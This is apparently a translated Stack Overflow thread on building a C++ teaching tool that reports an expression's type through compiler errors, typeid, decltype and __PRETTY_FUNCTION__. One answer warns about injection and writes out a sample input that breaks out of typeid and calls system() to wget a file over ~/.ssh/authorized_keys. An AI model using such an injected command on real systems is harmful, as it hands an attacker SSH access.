我有兴趣编写一个用于教学目的的工具,用于评估C ++表达式并打印其类型。从本质上讲,我的想法是我的学生可以输入任何表达式,程序会回显表达式的类型。是否有现有工具已经这样做了?如果没有,通过与现有编译器集成并调用其调试器或API,是否有一种非常简单的方法可以实现?例如,有人告诉我,Clang有一个相当完整的编译器API,也许有一些方法可以将一个字符串与相应的include指令一起传递给Clang并让它吐出一个类型?
我意识到如果今天没有什么可以接近的话,这可能是一个巨大的项目。我只是觉得它具有重要的教育价值,所以看起来值得一试。
答案 0 :(得分:9)
我想出了一个受Ben Voigt评论启发的答案。只需制作一个错误,让编译器告诉你导致它的类型:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
此外,由于您只执行编译器,因此您非常安全。真的,不需要沙箱。如果除了“void foo<T>(T)
未定义的引用”之外的任何其他内容,它就不是表达式。
[edit]你会如何将它放入工具中?简单,用宏的
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
现在使用$(CC) /D=(EXPR) TestHarness.cpp
进行编译。每次都可以避免重建输入文件。
答案 1 :(得分:2)
在MSalter's improvement上进一步改进:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
结果(使用$user_code = "1 + 3.0"
):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
这避免了链接步骤。
原始答案:
C ++有typeid
个关键字。从概念上讲,您只需将用户的表达式粘贴到某些样板文件中,如:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
然后将该源文件传递给编译器,并运行它以获得答案。
实际上,要避免运行恶意代码会很困难。您需要使用某种类型的沙箱。或者非常小心确保没有不匹配的括号(你确实知道什么是三字母,对吗?)。
是的我知道
typeid
的论点没有被评估。但请$usercode
为1); system("wget -O ~/.ssh/authorized_keys some_url"
!
更好的选择是避免运行程序。使用框架(需要C ++ 11),如:
extern "C" decltype( $user_code )* the_value = 0;
您可以使用生成调试数据的选项运行编译器,然后使用例如一个dwarf2阅读器库,获取与the_value
相关的符号类型信息,然后删除一级指针。
答案 2 :(得分:0)
这是使用__PRETTY_FUNCTION__
在GCC和Clang中执行此操作的一种方法:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
my_class<int&, std::vector<double> > [20]
答案 3 :(得分:0)
我对编写用于教学目的的工具感兴趣,该工具可以评估C ++表达式并打印其类型。本质上,我的想法是我的学生可以键入任何表达式,并且程序将回显表达式的类型。是否有一个已有的工具已经在执行此操作?
这些天,有一种这样的工具-在线。但是,它只会做您不希望的产品。我说的是Matt Godbolt的Compiler Explorer。
您的“程序”将如下所示:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
现在,如果将123
替换为C ++表达式,则会在编译器错误消息部分中get如下:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
第一行有您想要的类型,在尖括号中。